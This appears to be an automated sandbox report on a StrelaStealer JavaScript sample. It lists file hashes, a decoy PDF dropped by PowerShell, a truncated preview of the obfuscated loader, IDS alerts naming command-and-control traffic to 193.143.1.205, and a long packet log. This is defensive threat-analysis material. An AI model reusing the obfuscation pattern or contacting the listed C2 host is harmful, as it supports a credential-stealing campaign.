SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (15182), with CRLF line terminators
Entropy (8bit):	4.917424569588366
TrID:
File name:	30362110952254914638.js
File size:	18'694 bytes
MD5:	11d92c51d413f96e8a0bb156ab334cef
SHA1:	63ceb9bc908498bd8c7c8dc0e56aa56a89dfec8a
SHA256:	11807051ef69f7b27fb541cd526d7d414131873b418a88f2d312bcfb1e56107e
SHA512:	d34b94d91539da14c50a212bc820f135dd06ed3c553f148b645e8c09393f355e062ed96e04e3f9894c073faccd8c917386c937d6f5df3649648f74a6771a54e0
SSDEEP:	384:lIH4vRGhOuzO0fDKMqoSS2cnUnjZmX2ZLVee2X0:lZvt0fDilvnjzKk
TLSH:	AE8224848901447BDCDC84E0294F2CAF26D6A7DDC452029B6460D4FCA7D5AF4ABF6BB8
File Content Preview:	function umzfjv(){fdqdqvn=[1031,3079,5127,4103,2055,3072];var yhtrmla=this[jwzxgwtc+rgxztcbp+wiwdtywho+gwyzz+iyzlsprm+mmfhdnlf+ukkylmjg+ylupe](this[qglxlvo+cwymjnjy+rogsd+wiwdtywho+qhowc+jwzxgwtc+ylupe][ghxkcrnqm+wiwdtywho+iyzlsprm+rgxztcbp+ylupe+iyzlsprm

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T02:23:53.718891+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.6	49741	193.143.1.205	80	TCP
2025-01-11T02:23:53.718891+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.6	49741	193.143.1.205	80	TCP
2025-01-11T02:23:56.268494+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.6	49757	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 02:23:52.915414095 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:52.920362949 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:52.920449018 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:52.923397064 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:52.928255081 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:53.718805075 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:53.718831062 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:53.718842030 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:53.718880892 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:53.718890905 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:53.718893051 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:53.718919992 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:53.718931913 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:53.718956947 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:53.719002962 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:53.719016075 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:53.719058037 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:53.719060898 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:53.719069958 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:53.719103098 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:53.723707914 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:53.723720074 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:53.723776102 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:53.761487961 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:53.761506081 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:53.761518955 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:53.761548996 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:53.815490007 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:53.842757940 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:53.842786074 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:53.842797995 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:53.842820883 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:53.842916012 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:53.842930079 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:53.842950106 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:53.843189955 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:53.843215942 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:53.843228102 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:53.843233109 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:53.843264103 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:53.843266964 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:53.843784094 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:53.843796015 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:53.843808889 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:53.843822002 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:53.843837976 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:53.843861103 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:53.843873978 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:53.843920946 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:53.844532013 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:53.844571114 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:53.844583988 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:53.844608068 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:53.844746113 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:53.844758034 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:53.844780922 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:53.845371008 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:53.845418930 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:53.852974892 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:53.885103941 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:53.885149002 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:53.885160923 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:53.885170937 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:53.885193110 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:53.885198116 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:53.934254885 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:53.934269905 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:53.934302092 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:53.966873884 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:53.966893911 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:53.966906071 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:53.966944933 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:53.966954947 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:53.966958046 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:53.967005014 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:53.967159986 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:53.967192888 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:53.967200041 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:53.967204094 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:53.967236042 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:53.967519045 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:53.967531919 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:53.967545033 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:53.967577934 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:53.967660904 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:53.967673063 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:53.967684984 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:53.967698097 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:53.967704058 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:53.967720032 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:53.968381882 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:53.968411922 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:53.968420982 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:53.968425035 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:53.968456984 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:53.968518019 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:53.968529940 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:53.968542099 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:53.968554020 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:53.968560934 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:53.968592882 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:53.969455957 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:53.969466925 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:53.969477892 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:53.969490051 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:53.969501972 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:53.969501972 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:53.969513893 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:53.969527960 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:53.969538927 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:53.969564915 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:53.970216990 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:53.970262051 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:53.970273972 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:53.970285892 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:53.970329046 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:53.970421076 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:53.970432043 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:53.970442057 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:53.970448017 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:53.970530033 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:53.971128941 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:53.971138954 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:53.971188068 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:53.976608992 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:53.976623058 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:53.976670027 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:53.992508888 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.008929968 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.008945942 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.008958101 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.008972883 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.008986950 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.009083033 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.009097099 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.009111881 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.009124994 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.009161949 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.009162903 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.009162903 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.009162903 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.049945116 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.058331966 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.058347940 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.058367014 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.058381081 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.058425903 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.058511972 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.091123104 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.091140032 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.091161013 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.091172934 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.091187954 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.091204882 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.091222048 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.091222048 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.091294050 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.091294050 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.091308117 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.091336012 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.091348886 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.091375113 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.091387033 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.091398001 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.091413975 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.091439962 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.091555119 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.091567039 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.091620922 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.091640949 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.091682911 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.091695070 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.091721058 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.091788054 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.091800928 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.091813087 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.091825008 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.091829062 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.091847897 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.091893911 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.091906071 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.091933966 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.092375994 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.092398882 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.092411995 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.092421055 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.092484951 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.092494965 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.092508078 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.092544079 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.092602015 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.092613935 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.092626095 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.092633963 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.092647076 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.092659950 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.092683077 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.092798948 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.092813015 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.092856884 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.093457937 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.093472958 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.093483925 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.093502998 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.093509912 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.093516111 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.093528986 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.093540907 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.093548059 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.093569994 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.093592882 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.093709946 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.093722105 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.093734026 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.093744993 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.093755007 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.093760014 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.093794107 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.094454050 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.094465971 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.094492912 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.094497919 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.094506025 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.094518900 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.094526052 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.094532967 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.094547987 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.094563007 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.094589949 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.094646931 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.094659090 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.094671011 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.094683886 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.094695091 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.094705105 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.094721079 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.095372915 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.095396042 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.095407963 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.095412016 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.095431089 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.095453978 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.100356102 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.100382090 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.100394011 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.100408077 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.100430012 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.100460052 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.100474119 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.100507975 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.100507975 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.100522995 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.100534916 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.100555897 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.100584030 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.100615978 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.100682974 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.100738049 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.100749969 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.100768089 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.100795031 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.100807905 CET	80	49741	193.143.1.205	192.168.2.6
Jan 11, 2025 02:23:54.100830078 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.143496990 CET	49741	80	192.168.2.6	193.143.1.205
Jan 11, 2025 02:23:54.149955034 CET	80	49741	193.143.1.205	192.168.2.6
